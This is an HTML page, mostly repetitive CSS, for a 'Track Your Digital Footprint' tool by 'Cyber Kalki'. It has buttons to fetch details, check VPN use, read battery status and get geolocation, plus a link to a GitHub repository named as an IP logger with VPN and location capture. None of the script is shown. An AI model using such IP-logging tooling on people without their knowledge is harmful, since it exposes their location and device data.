<!DOCTYPE html>
<html lang="en">
<head>                                                                                                                     <meta charset="UTF-8">                                                                                                 <meta name="viewport" content="width=device-width, initial-scale=1.0">                                      <title>KALKI</title>                                                                                                          <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
    <link href="https://fonts.googleapis.com/css2?familyOrbitron+One&display=swap" rel="stylesheet">
<link href="button.css" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=Press+Start+2P&family=Audiowide&family=Orbitron&display=swap" rel="stylesheet">
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@400;500;700&display=swap');
@import url('https://fonts.googleapis.com/css2?family=Chakra+Petch&display=swap');

@import url('https://fonts.googleapis.com/css2?family=Russo+One&display=swap');
   * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;                                                                                 }                                                                                                                                 }                                                                                                              
        canvas {
            position: fixed;
            top: 0;
            left: 0;                                                                                                               z-index: 1;
            width: 100%;
            height:100%;
        }

        .overlay {
            position: relative;
            z-index: 10;
            display: flex;
            flex-direction: column;
            justify-content: flex-start;
            align-items: center;
            min-height: 100vh;
            text-align: center;
            perspective: 1000px;
            padding: 2rem 1rem;
            overflow-y: auto;
        }

        body {                                                                                                          font-family: 'Courier New', Consolas, Monaco, 'Lucida Console', 'DejaVu Sans Mono', monospace;              background-color: #000;
            color: #00FFFF;                                                                                             padding: 20px;
            text-align: center;
font-family: var(--font-family);                                                                                                   font-size: 18px;
            min-height: 100vh;
margin-bottom: 120px;
        }


        :root {
            --primary-glow: #00ff9d;                                                                                    --secondary-glow: #00b3ff;
            --alert-glow: #ff0055;
            --text-glow: #00fff2;
--font-family: 'Chakra Petch', sans-serif; /* Define your font here */
            --button-glow: #ff9100;
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            background: #000813;
            color: #fff;
            font-family: 'Orbitron', 'Chakra Petch';
            min-height: 100vh;

            overflow-x: hidden;
            background: linear-gradient(
                135deg,
                #000813,
                #001233,
                #000813
            );
        }
                                                                                                                    .cyber-grid {
            position: fixed;                                                                                            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background:
                linear-gradient(90deg, rgba(0, 255, 255, 0.03) 1px, transparent 1px) 0 0 / 20px 20px,
                linear-gradient(0deg, rgba(0, 255, 255, 0.03) 1px, transparent 1px) 0 0 / 20px 20px;
            pointer-events: none;
        }

        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 20px;
            position: relative;
            z-index: 1;
        }


h1 {
    font-size: 6.5rem;
    text-align: center;
    margin: 60px 0;
    color: var(--text-glow);
    text-shadow: 0 0 10px var(--text-glow),
                 0 0 20px var(--text-glow),
                 0 0 30px var(--text-glow);                                                                                animation: textPulse 2s infinite;                                                                                                                                                                                                             /* Add this line for a transparent black background */                                                                 background-color: rgba(0, 0, 0, 0.5); /* Adjust the last number for transparency */
    padding: 10px; /* Optional: Add padding for better spacing */
    border-radius: 5px; /* Optional: Add rounded corners */
}                                                                                                                              @keyframes textPulse {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.7; }
        }

        .button-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
            gap: 25px;
            margin: 40px 0;
        }

        .cyber-button {
            position: relative;
            padding: 10px 10px;
            background: rgba(0, 0, 0, 0.8);
            border: none;                                                                                                          color: var(--button-glow);
            font-family: 'Orbitron', 'Chakra Petch';
            font-size: 1em;
            text-transform: uppercase;
            letter-spacing: 2px;
            cursor: pointer;
            overflow: hidden;
            transition: all 0.3s ease;
            border: 1px solid var(--button-glow);
            box-shadow: 0 0 15px var(--button-glow),
                       inset 0 0 15px var(--button-glow);
            text-shadow: 0 0 5px var(--button-glow);                                                                }

        .cyber-button::before {
            content: '';
            position: absolute;
            top: -2px;
            left: -2px;
            right: -2px;
            bottom: -2px;                                                                                                          background: linear-gradient(45deg,                                                                                         var(--button-glow),
                transparent,                                                                                                           var(--button-glow));
            z-index: -1;
            animation: borderGlow 3s linear infinite;
        }

        .cyber-button::after {
            content: '';
            position: absolute;
            top: 0;
            left: -100%;                                                                                                width: 100%;                                                                                                                      height: 100%;
            background: linear-gradient(                                                                                    90deg,
                transparent,
                rgba(255, 255, 255, 0.2),
                transparent
            );
            transition: 0.5s;
        }

        .cyber-button:hover {
            transform: scale(1.05);
            color: #fff;
            box-shadow: 0 0 30px var(--button-glow),
                       inset 0 0 30px var(--button-glow);
        }

        .cyber-button:hover::after {
            left: 100%;
        }

        @keyframes borderGlow {
            0% { filter: hue-rotate(0deg); }                                                                            100% { filter: hue-rotate(360deg); }
        }

        #batteryStatus {
            background: rgba(0, 0, 0, 0.8);                                                                                        padding: 30px;
            border-radius: 10px;                                                                                                   margin: 20px auto;
            max-width: 350px;
            position: relative;
            border: 1px solid var(--primary-glow);
            box-shadow: 0 0 20px var(--primary-glow),
                       inset 0 0 20px var(--primary-glow);
            animation: glowPulse 2s infinite;
        }

        @keyframes glowPulse {
            0%, 100% { box-shadow: 0 0 20px var(--primary-glow),
                                 inset 0 0 20px var(--primary-glow); }
            50% { box-shadow: 0 0 30px var(--primary-glow),
                            inset 0 0 30px var(--primary-glow); }
        }

        .battery-container {
            position: relative;
            width: 100px;
            height: 50px;
            margin: 0 auto;
            padding: 5px;
            background: rgba(0, 0, 0, 0.5);
            border-radius: 5px;
            overflow: hidden;
        }

        .battery-outline {
            width: 100%;
            height: 100%;
            border: 2px solid var(--primary-glow);
            border-radius: 3px;
            position: relative;
            overflow: hidden;
            box-shadow: 0 0 10px var(--primary-glow);
        }

        .battery-level {
            position: absolute;
            left: 0;
            top: 0;
            height: 100%;
            background: linear-gradient(90deg,
                var(--primary-glow),
                var(--secondary-glow));
            transition: width 1s ease;
            box-shadow: 0 0 20px var(--primary-glow);
            animation: chargingAnimation 2s infinite;
        }

        @keyframes chargingAnimation {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.7; }
        }

        .battery-cap {
            position: absolute;                                                                                                    right: -8px;
            top: 50%;
            transform: translateY(-50%);                                                                                           width: 8px;
            height: 20px;
            background: var(--primary-glow);
            border-radius: 0 3px 3px 0;
            box-shadow: 0 0 10px var(--primary-glow);
        }

        .battery-status {
            text-align: center;
            margin-top: 20px;                                                                                                      color: var(--text-glow);
            text-shadow: 0 0 10px var(--text-glow);
            font-size: 1.2em;
        }

        .output-panel {
            background: rgba(0, 0, 0, 0.8);
            border: 1px solid var(--secondary-glow);
            border-radius: 10px;
            padding: 20px;
            margin: 20px 0;
            position: relative;
            box-shadow: 0 0 15px var(--secondary-glow),
                       inset 0 0 15px var(--secondary-glow);                                                                   }

        .output-panel::before {                                                                                                    content: '';
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            height: 2px;
            background: linear-gradient(90deg,
                transparent,
                var(--secondary-glow),
                transparent);
            animation: scanline 2s linear infinite;
        }

        @keyframes scanline {
            0% { transform: translateX(-100%); }
            100% { transform: translateX(100%); }
        }

        .data-row {
            display: flex;
            justify-content: space-between;                                                                                        padding: 10px;
            border-bottom: 1px solid rgba(0, 255, 242, 0.2);
            color: var(--text-glow);
            text-shadow: 0 0 5px var(--text-glow);
        }

        .data-label {
            color: var(--secondary-glow);
            text-shadow: 0 0 5px var(--secondary-glow);
        }

        #output, #result {
            animation: fadeIn 0.5s ease-out;
        }

        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(20px); }
            to { opacity: 1; transform: translateY(0); }
        }


        /* Enhanced Scrollbar */
        ::-webkit-scrollbar {
            width: 12px;
            background: #000813;
        }

        ::-webkit-scrollbar-thumb {
            background: var(--secondary-glow);
            border-radius: 6px;
            box-shadow: 0 0 10px var(--secondary-glow);
        }

        ::-webkit-scrollbar-thumb:hover {
            background: var(--primary-glow);
            box-shadow: 0 0 15px var(--primary-glow);
        }

    /* Fullscreen iframe background */
        .background {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: -1;
            border: none;

}

        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 15px;
        }

h1 {
    background-color: rgba(0, 0, 0, 0.7); /* Black with 70% transparency */
    color: #00FF00; /* Bright green text color */
    padding: 15px;
    border-radius: 8px;
    margin-bottom: 20px;
    font-size: 3.5em;
    text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.3);                                                                       }

.response-container {                                                                                                      background: rgba(0, 0, 0, 0.8);
    border: 1px solid var(--secondary-glow);
    border-radius: 10px;
    margin: 20px 0;
font-family: var(--font-family);                                                                                           position: relative;
    overflow: hidden;
    box-shadow: 0 0 15px var(--secondary-glow),
                inset 0 0 15px var(--secondary-glow);
    animation: containerPulse 3s infinite;                                                                             }

.response-header {
    background: rgba(51, 51, 51, 0.8);
    padding: 15px;
    display: flex;
    justify-content: space-between;
    align-items: center;
    border-bottom: 1px solid var(--secondary-glow);
    position: relative;
    overflow: hidden;
}

.response-header::before {
    content: '';
    position: absolute;
    top: 0;
    left: -100%;
    width: 100%;
    height: 100%;
    background: linear-gradient(
        90deg,
        transparent,
        rgba(0, 179, 255, 0.2),
        transparent
    );
    animation: scanEffect 3s linear infinite;
}

#output, #result, #data-container {
    padding: 20px;
    text-align: left;
    white-space: pre-wrap;
    word-wrap: break-word;
    font-size: 17px;
font-family: var(--font-family);
    color: var(--text-glow);

    position: relative;
    z-index: 1;
}

.close-btn {
    width: 30px;
    height: 30px;
    background: transparent;
    color: var(--text-glow);
    border: none;
    cursor: pointer;
    font-size: 18px;
    position: absolute;
    top: 10px;
    right: 10px;
    text-shadow: 0 0 5px var(--text-glow);
    transition: all 0.3s ease;
}

.close-btn:hover {
    color: var(--alert-glow);
    text-shadow: 0 0 10px var(--alert-glow);
    transform: scale(1.1);
}

@keyframes containerPulse {
    0%, 100% {
        box-shadow: 0 0 15px var(--secondary-glow),
                    inset 0 0 15px var(--secondary-glow);
    }
    50% {
        box-shadow: 0 0 25px var(--secondary-glow),
                    inset 0 0 25px var(--secondary-glow);
    }
}

@keyframes scanEffect {
    0% { left: -100%; }
    100% { left: 100%; }
}

/* Add holographic grid effect to container background */
.response-container::after {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    background:
        linear-gradient(90deg, rgba(0, 179, 255, 0.03) 1px, transparent 1px) 0 0 / 20px 20px,
        linear-gradient(0deg, rgba(0, 179, 255, 0.03) 1px, transparent 1px) 0 0 / 20px 20px;
    pointer-events: none;
    z-index: 0;
}
        #result {
            color: yellow; /* Fetch VPN response color */

        }

        #output {                                                                                                                  color: white; /* Fetch Details output color */
        }

        .button-container {

            display: flex;                                                                                                         justify-content: center;
            gap: 15px;
            flex-wrap: wrap;
            margin: 20px 0;                                                                                                    }                                                                                                                                                                                                                                             button {                                                                                                                   background-color: #007bff;                                                                                             color: #00FFFF;                                                                                                        padding: 12px 24px;                                                                                                    border: none;                                                                                                          border-radius: 5px;                                                                                                    cursor: pointer;                                                                                                       font-size: 14px;                                                                                                       transition: all 0.3s ease;                                                                                             min-width: 150px;                                                                                                      outline: none; /* Remove outline */                                                                                }                                                                                                                                                                                                                                             button:hover {                                                                                                             background-color: #0056b3;                                                                                             transform: translateY(-2px);                                                                                       }                                                                                                                                                                                                                                     button:focus {outline: none; /* Ensure no outline on focus */                                                          }                                                                                                                              .datetime-container {                                                                                                      background-color: #333;                                                                                                padding: 10px;                                                                                                         border-radius: 5px;                                                                                                    margin: 15px 0;                                                                                                        display: inline-block;                                                                                             }                                                                                                                                                                                                                                             img {                                                                                                                      max-width: 100%;                                                                                                       height: auto;                                                                                                          margin: 20px auto;                                                                                                     border-radius: 8px;                                                                                                    box-shadow: 0 0 10px rgba(0, 255, 255, 0.3);                                                            }          .footer {                                                                                                                  margin-top: 30px;                                                                                                      padding: 20px;                                                                                                         border-top: 1px solid #444;                                                                                        }                                                                                                                                                                                                                                             .footer a {                                                                                                                color: #00FFFF;                                                                                                        text-decoration: none;                                                                                      margin: 0 10px;                                                                                                               }                                                                                                                                                                                                                                  .footer a:hover {                                                                                                                     color: #007bff;                                                                                                    }                                                                                                                                                                                                                                             /* Battery and Geolocation Styles */                                                                        #batteryStatus {                                                                                                                      display: none;                                                                                                         flex-direction: column;                                                                                                align-items: center;                                                                                                   font-size: 18px;                                                                                                       background-color: #333;                                                                                     padding: 20px;                                                                                                                    border-radius: 10px;                                                                                                   box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);                                                                               margin-top: 10px;                                                                                                  }                                                                                                                                                                                                                                             .battery-icon {                                                                                                            width: 50px;                                                                                                           height: 25px;                                                                                                          border: 2px solid #00ff00;                                                                                             border-radius: 4px;                                                                                                    position: relative;                                                                                                    margin-bottom: 10px;                                                                                    }                                                                                                                      .battery-icon::before {                                                                                                               content: '';                                                                                                           width: 6px;                                                                                                            height: 12px;                                                                                                          background: #00ff00;                                                                                                   position: absolute;                                                                                                    top: 50%;                                                                                                              right: -8px;                                                                                                           transform: translateY(-50%);                                                                                border-radius: 2px;                                                                                                           }                                                                                                                                                                                                                                             .battery-level {                                                                                                           height: 100%;                                                                                                          background: linear-gradient(to right, #00ff00, #ff0000);                                                               border-radius: 2px;                                                                                                }                                                                                                                                                                                                                                             .battery-text {                                                                                                            font-size: 24px;                                                                                                       font-weight: bold;                                                                                                 }                                                                                                                                                                                                                                             .charging-status, .battery-info {                                                                                          font-size: 16px;                                                                                                       margin-top: 10px;                                                                                                  }                                                                                                                                                                                                                                             #map {                                                                                                                     height: 400px;                                                                                                         width: 100%;                                                                                                           max-width: 600px;                                                                                                      border: 2px solid #00ff00;                                                                                             border-radius: 10px;                                                                                                   box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);                                                                    margin-top: 10px;                                                                                                             }                                                                                                                      #locationInfo {                                                                                                            font-size: 18px;                                                                                                       text-align: center;                                                                                                    margin-top: 10px;                                                                                                  }                                                                                                                                                                                                                                             .keyword { color: #00FF00; }                                                                                           .string { color: #FFA500; }                                                                                            .comment { color: #00FFFF; }                                                                                                                                                                                                                  @media (max-width: 768px) {                                                                                                body { padding: 10px; }                                                                                                button { width: 100%; }                                                                                                .button-container { flex-direction: column; }                                                                      }                                                                                                              footer {                                                                                                                           width: 100%;                                                                                                           display: flex;                                                                                                         justify-content: center;                                                                                               align-items: center;                                                                                                   position: fixed;                                                                                                       bottom: 0;                                                                                                             background-color: transparent; /* or any color you want */                                                         }                                                                                                                                                                                                                                             .social-container {                                                                                                        display: flex;                                                                                                         justify-content: center;                                                                                               align-items: center;                                                                                                   gap: 20px;                                                                                                             padding: 20px;                                                                                                     }                                                                                                                                                                                                                                             .social-icon {                                                                                                             width: 50px;                                                                                                           height: 50px;                                                                                                          border-radius: 50%;                                                                                                    display: flex;                                                                                                         justify-content: center;                                                                                               align-items: center;                                                                                                   text-decoration: none;                                                                                                 color: white;                                                                                                          transition: all 0.3s ease;                                                                                             position: relative;                                                                                                    overflow: hidden;                                                                                                  }                                                                                                                                                                                                                                             .social-icon:before {                                                                                                      content: '';                                                                                                           position: absolute;                                                                                                    width: 120%;                                                                                                           height: 120%;                                                                                                          transform: rotate(45deg) translate(-100%, -100%);                                                                      background: rgba(255, 255, 255, 0.2);                                                                                  transition: all 0.3s ease;                                                                                         }                                                                                                                                                                                                                                             .social-icon:hover:before {                                                                                                transform: rotate(45deg) translate(-20%, -20%);                                                                    }                                                                                                                                                                                                                                             .social-icon:hover {                                                                                                       transform: translateY(-5px);                                                                                           box-shadow: 0 5px 15px rgba(0, 0, 0, 0.3);                                                                         }                                                                                                                                                                                                                                             .github {                                                                                                                  background: #333;                                                                                                  }                                                                                                                                                                                                                                             .telegram {                                                                                                                background: #0088cc;                                                                                               }                                                                                                                                                                                                                                             .discord {                                                                                                                 background: #7289DA;                                                                                               }                                                                                                                                                                                                                                             .home {                                                                                                                    background: #4CAF50;                                                                                               }                                                                                                                                                                                                                                             .social-icon i {                                                                                                           font-size: 24px;                                                                                                   }                                                                                                                                                                                                                                             @keyframes bounce {                                                                                                        0%, 100% { transform: translateY(0); }                                                                                 50% { transform: translateY(-5px); }                                                                               }                                                                                                                                                                                                                                             .social-icon:hover i {                                                                                                     animation: bounce 0.8s infinite;                                                                                   }                                                                                                                                                                                                                                             .container {                                                                                                               max-width: 1200px;                                                                                                     margin: 0 auto;                                                                                                        padding: 0 15px;                                                                                                       position: relative;                                                                                                }                                                                                                                                                                                                                                             .holographic-title {                                                                                                       font-family: 'Russo One', sans-serif;                                                                                  font-size: 3em;                                                                                                        letter-spacing: 10px;                                                                                                  text-transform: uppercase;                                                                                             background: linear-gradient(                                                                                               to right,                                                                                                              #00FF41,                                                                                                               #00BFFF,                                                                                                               #1E90FF                                                                                                            );                                                                                                                     background-clip: text;                                                                                                 -webkit-background-clip: text;                                                                                         color: transparent;                                                                                                    text-shadow:                                                                                                               0 0 10px rgba(0, 255, 65, 0.5),                                                                                        0 0 20px rgba(0, 191, 255, 0.3),                                                                                       0 0 30px rgba(30, 144, 255, 0.2);                                                                                  animation: system-initialize 3s infinite;                                                                              margin: 60px 0 20px 0;                                                                                                 width: 100%;                                                                                                           text-align: center;                                                                                                }                                                                                                                                                                                                                                             @keyframes system-initialize {                                                                                             0%, 100% {                                                                                                                 transform: scale(1) rotateX(0deg);                                                                                     opacity: 1;                                                                                                        }                                                                                                                      50% {                                                                                                                      transform: scale(1.05) rotateX(10deg);                                                                                 opacity: 0.8;                                                                                                      }                                                                                                                  }                                                                                                                                                                                                                                                                                                                                                                    @keyframes scan-line {                                                                                                     0% {                                                                                                                       top: -100%;                                                                                                            opacity: 0;                                                                                                        }                                                                                                                      50% {                                                                                                                      opacity: 0.7;                                                                                                      }                                                                                                                      100% {                                                                                                                     top: 110%;                                                                                                             opacity: 0;                                                                                                        }                                                                                                                  }                                                                                                                                                                                                                                             .content {                                                                                                                 margin-top: 100px;                                                                                                     width: 100%;                                                                                                       }                                                                                                                                                                                                                                             img {                                                                                                                      max-width: 100%;                                                                                                       height: auto;                                                                                                          margin-top: 20px;                                                                                                  }                                                                                                                                                                                                                                             @media (max-width: 768px) {                                                                                                .holographic-title {                                                                                                       font-size: 4rem;                                                                                                       letter-spacing: 5px;                                                                                               }                                                                                                                  }                                                                                                                                                                                                                                             @media (max-width: 480px) {                                                                                                .holographic-title {                                                                                                       font-size: 1rem;                                                                                                       letter-spacing: 3px;                                                                                               }                                                                                                                  }                                                                                                                .github-button {                                                                                                                 transition: all 0.5s ease-in-out;                                                                                      background: linear-gradient(45deg, rgba(34, 211, 238, 0.2), rgba(168, 85, 247, 0.2), rgba(34, 211, 238, 0.2));                                                                                                                                border: 1px solid rgba(34, 211, 238, 0.3);                                                                             display: inline-block;                                                                                                 text-decoration: none;                                                                                     font-size: 1.25rem                                                                                                             }                                                                                                                                                                                                                                             .github-button:hover {                                                                                                     transform: scale(1.05);                                                                                                box-shadow: 0 0 20px rgba(34, 211, 238, 0.3), inset 0 0 20px rgba(34, 211, 238, 0.2);                              }                                                                                                                                                                                                                                             .cyber-font-mono {                                                                                                         font-family: 'Share Tech Mono', monospace;                                                                         }                                                                                                                                                                                                                                             .text-gradient {                                                                                                           background: linear-gradient(to right, cyan, purple);                                                                   -webkit-background-clip: text;                                                                                         -webkit-text-fill-color: transparent;                                                                              }                                                                                                                                                                                                                                             .holographic-container {                                                                                                   display: flex;                                                                                                         gap: 20px;                                                                                                         }                                                                                                                                                                                                                                             .holographic-btn {                                                                                                         position: relative;                                                                                                    padding: 15px 30px;                                                                                                    font-size: 16px;                                                                                                       color: #ffffff;                                                                                                        text-transform: uppercase;                                                                                             text-decoration: none;                                                                                                 letter-spacing: 2px;                                                                                                   border: 2px solid transparent;                                                                                         border-radius: 50px;                                                                                                   background: linear-gradient(45deg, #ff00ff, #00ffff);                                                                  background-clip: padding-box;                                                                                          box-shadow:                                                                                                                0 0 10px rgba(255,0,255,0.5),                                                                                          0 0 20px rgba(0,255,255,0.5),                                                                                          inset 0 0 15px rgba(255,255,255,0.2);                                                                              overflow: hidden;                                                                                                      cursor: pointer;                                                                                                       transition: all 0.3s ease;                                                                                         }                                                                                                                                                                                                                                             .holographic-btn::before {                                                                                                 content: '';                                                                                                           position: absolute;                                                                                                    top: -50%;                                                                                                             left: -50%;                                                                                                            width: 200%;                                                                                                           height: 200%;                                                                                                          background: radial-gradient(                                                                                               circle at center,                                                                                                      rgba(255,255,255,0.3) 0%,                                                                                              rgba(255,255,255,0) 70%                                                                                            );                                                                                                                     transform: rotate(-45deg);                                                                                             opacity: 0;                                                                                                            transition: all 0.5s ease;                                                                                         }                                                                                                                                                                                                                                             .holographic-btn:hover::before {                                                                                           opacity: 1;                                                                                                        }                                                                                                                                                                                                                                             .holographic-btn::after {                                                                                                  content: '';                                                                                                           position: absolute;                                                                                                    bottom: -100%;                                                                                                         left: 0;                                                                                                               width: 100%;                                                                                                           height: 100%;                                                                                                          background: linear-gradient(                                                                                               transparent,                                                                                                           rgba(255,255,255,0.2)                                                                                              );                                                                                                                     transform: translateY(100%);                                                                                           transition: transform 0.3s ease;                                                                                   }                                                                                                                                                                                                                                             .holographic-btn:hover::after {                                                                                            transform: translateY(-100%);                                                                                      }                                                                                                                                                                                                                                             .holographic-btn:hover {                                                                                                   transform: scale(1.05);                                                                                                box-shadow:                                                                                                                0 0 15px rgba(255,0,255,0.7),                                                                                          0 0 25px rgba(0,255,255,0.7),                                                                                          inset 0 0 20px rgba(255,255,255,0.3);                                                                          }                                                                                                                                                                                                                                             .holographic-btn .icon {                                                                                                   margin-right: 10px;                                                                                                    filter: drop-shadow(0 0 5px rgba(255,255,255,0.5));                                                                }                                                                                                                                                                                                                                             .btn-deploy {                                                                                                              background: linear-gradient(45deg, #6a11cb 0%, #2575fc 100%);                                                      }                                                                                                                                                                                                                                             .btn-star {                                                                                                                background: linear-gradient(45deg, #ff6a00 0%, #ee0979 100%);                                                      }                                                                                                                                                                                                                                             .matrix-footer {                                                                                                           position: fixed;                                                                                                       bottom: 0;                                                                                                             left: 0;                                                                                                               width: 100%;                                                                                                           background-color: rgba(0, 0, 0, 0.7);                                                                                  color: #4ade80;                                                                                                        text-align: center;                                                                                                    padding: 0.5rem 0;                                                                                                     box-shadow: 0 -2px 10px rgba(0, 0, 0, 0.5);                                                                            letter-spacing: 0.05em;                                                                                                z-index: 9999; /* This ensures the footer appears above other elements */                                          }                                                                                                                                                                                                                                             .footer-content {                                                                                                          animation: pulse-slow 3s ease-in-out infinite;                                                                     }                                                                                                                                                                                                                                             .footer-line {                                                                                                             position: absolute;                                                                                                    left: 0;                                                                                                               right: 0;                                                                                                              bottom: 0;                                                                                                             height: 2px;                                                                                                           background-color: #22c55e;                                                                                             opacity: 0.5;                                                                                                          filter: blur(1px);                                                                                                     animation: flicker 0.1s linear infinite;                                                                           }                                                                                                                                                                                                                                             @keyframes pulse-slow {                                                                                                    0%, 100% { opacity: 0.7; }                                                                                             50% { opacity: 0.9; }                                                                                              }                                                                                                                                                                                                                                             @keyframes flicker {                                                                                                       0%, 19%, 21%, 23%, 25%, 54%, 56%, 100% { opacity: 0.7; }                                                               20%, 24%, 55% { opacity: 0.3; }                                                                                    }                                                                                                                                                                                                                                             .cybernetic-container {                                                                                                    max-width: 500px;                                                                                                      margin: 0 auto;                                                                                                        padding: 30px;                                                                                                         perspective: 1000px;                                                                                                   background: rgba(10, 25, 47, 0.9);                                                                                     border: 2px solid var(--primary-color);                                                                                box-shadow:                                                                                                                0 0 10px rgba(0, 255, 209, 0.3),                                                                                       0 0 20px rgba(0, 255, 209, 0.2),                                                                                       0 0 40px rgba(0, 255, 209, 0.1);                                                                                   border-radius: 15px;                                                                                               }                                                                                                                                                                                                                                             .footprint-grid {                                                                                                          display: grid;                                                                                                         grid-template-columns: repeat(auto-fit, minmax(50px, 1fr));                                                            gap: 30px;                                                                                                         }                                                                                                                                                                                                                                             .footprint-card {                                                                                                          background: rgba(15, 30, 60, 0.8);                                                                                     border: 2px solid var(--primary-color);                                                                                border-radius: 15px;                                                                                                   padding: 25px;                                                                                                         text-align: center;                                                                                                    transition: all 0.3s ease;                                                                                             transform-style: preserve-3d;                                                                                          position: relative;                                                                                                    overflow: hidden;                                                                                                  }                                                                                                                                                                                                                                             .footprint-card::before {                                                                                                  content: '';                                                                                                           position: absolute;                                                                                                    top: -50%;                                                                                                             left: -50%;                                                                                                            width: 200%;                                                                                                           height: 200%;                                                                                                          background: repeating-linear-gradient(                                                                                     0deg,                                                                                                                  transparent,                                                                                                           transparent 10px,                                                                                                      rgba(0, 255, 209, 0.05) 10px,                                                                                          rgba(0, 255, 209, 0.05) 20px                                                                                       );                                                                                                                     animation: rotate 20s linear infinite;                                                                                 z-index: 0;                                                                                                        }                                                                                                                                                                                                                                             @keyframes rotate {                                                                                                        100% {                                                                                                                     transform: rotate(360deg);                                                                                         }                                                                                                                  }                                                                                                                                                                                                                                           .tracker-container {                                                                                                         border: 2px solid #00ff41;                                                                                             border-radius: 10px;                                                                                                   padding: 20px;                                                                                                         width: 300px;                                                                                                          height: 300px;                                                                                                         background-color: rgba(0, 0, 0, 0.8);                                                                                  box-shadow: 0 0 15px #00ff41;                                                                                      }                                                                                                                      .data-line {                                                                                                               margin-bottom: 10px;                                                                                                   position: relative;                                                                                                }                                                                                                                      .data-line::before {                                                                                                       content: '>';                                                                                                          color: #00ff41;                                                                                                        margin-right: 10px;                                                                                                }                                                                                                                      .progress-bar {                                                                                                            height: 10px;                                                                                                          background-color: #002b03;                                                                                             border-radius: 5px;                                                                                                    overflow: hidden;                                                                                                  }                                                                                                                      .progress-bar-fill {                                                                                                       height: 100%;                                                                                                          background-color: #00ff41;                                                                                             transition: width 0.5s ease;                                                                                       }                                                                                                                      .access-button {                                                                                                           background-color: #00ff41;                                                                                             color: #0a0a1a;                                                                                                        border: none;                                                                                                          padding: 10px 20px;                                                                                                    margin-top: 15px;                                                                                                      cursor: pointer;                                                                                                       font-family: 'Courier New', monospace;                                                                                 font-weight: bold;                                                                                                     text-transform: uppercase;                                                                                             transition: all 0.3s ease;                                                                                         }                                                                                                                      .access-button:hover {                                                                                                     background-color: #00b033;                                                                                             transform: scale(1.05);                                                                                            }                                                                                                              .digital-footprint {                                                                                                               background-color: rgba(0, 255, 65, 0.1);                                                                               border: 1px solid #00ff41;                                                                                             padding: 10px;                                                                                                         margin-top: 15px;                                                                                                      font-size: 0.8em;                                                                                                  }                                                                                                                                                                                                                                         </style>                                                                                                           </head>                                                                                                                                                                                                                                       <iframe src="matrix.html" class="background" scrolling="yes"></iframe>                                                 <a href="https://kalkikrivadna.com/cyberkalkitoolsob.html" class="back-button">BACK TO TOOLKIT</a>                     <div class="container">                                                                                                            <div class="content">                                                                                                     <h1 class="holographic-title" style="font-size: 36px;">TRACK YOUR DIGITAL FOOTPRINT <br> BY CYBER KALKI</h1>                                                                                                                                                                                                                                                      </div>                                                                                                             </div>                                                                                                         <style>                                                                                                                    .datetime-container {                                                                                                      background-color: rgba(0, 0, 0, 0.7); /* Black with 70% opacity */                                                     padding: 10px; /* Optional: add some padding for better spacing */                                                     border-radius: 5px; /* Optional: add rounded corners */                                                                color: white; /* Optional: change text color for better contrast */                                                }                                                                                                                  </style>                                                                                                                                                                                                                                      <div class="datetime-container">                                                                                           <p>Date/Time: <span id="datetime"></span></p>                                                                      </div>                                                                                                                                                                                                                                                    <div class="button-container">                                                                             <div style="display: flex; align-items: center; justify-content: center;">                                                 <button id="fetch-button" class="cyber-button" style="width: 360px; height: 50px; font-size: 16px; align-items: center;">Fetch Details</button>                                                                                           </div>                                                                                                                 </div>                                                                                                                   <div class="button-container">                                                                                       <div style="display: flex; align-items: center; justify-content: center;">                                               <button id="fetchButton" class="cyber-button" onclick="fetchVPNData()"                                                         style="width: 360px; height: 50px; font-size: 16px;">                                                            CHECK VPN                                                                                                            </button>                                                                                                            </div>                                                                                                                 </div>                                                                                                                                                                                                                                            <div class="button-container">                                                                                     <div style="display: flex; align-items: center; justify-content: center;">                                               <button class="cyber-button" onclick="getBatteryStatus()"                                                                      style="width: 360px; height: 50px; font-size: 16px;">                                                            BATTERY STATUS                                                                                                       </button>                                                                                                            </div>                                                                                                                 </div>                                                                                                                     <div class="button-container">                                                                                     <div style="display: flex; align-items: center; justify-content: center;">                                               <button id="geoButton" class="cyber-button" onclick="fetchGeolocation()"                                                       style="width: 360px; height: 50px; font-size: 16px;">                                                            Fetch Geolocation                                                                                                    </button>                                                                                                            </div>                                                                                                                 </div>                                                                                                                                                                                                                                                                                                                                                               <div id="output-container" class="response-container" style="display: none;">                                              <div class="response-header">                                                                                              <span>Details Output</span>                                                                                            <button class="close-btn" onclick="document.getElementById('output-container').style.display='none'">×</button>    </div>                                                                                                                 <div id="output"></div>                                                                                            </div>                                                                                                                                                                                                                                        <div id="vpn-container" class="response-container" style="display: none;">                                                 <div class="response-header">                                                                                              <span>VPN Data</span>                                                                                                  <button class="close-btn" onclick="document.getElementById('vpn-container').style.display='none'">×</button>       </div>                                                                                                                 <pre id="result"></pre>                                                                                            </div>                                                                                                                                                                                                                                        <div class="holographic-container" style="display: flex; justify-content: center; align-items: center;">                   <a href="https://github.com/krivadna/GrabifyIploggerwithvpnandlocation" class="holographic-btn btn-star" style="text-decoration: none; display: inline-flex; align-items: center; padding: 10px 20px; background-color: #6200ea; color: #fff; border-radius: 5px; font-weight: bold; font-size: 16px;">                                                                  <svg class="icon" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" style="margin-right: 8px;">                                                                                                           <polygon points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91" />          </svg>                                                                                                                 DEPLOY STAR ON GITHUB                                                                                              </a>                                                                                                               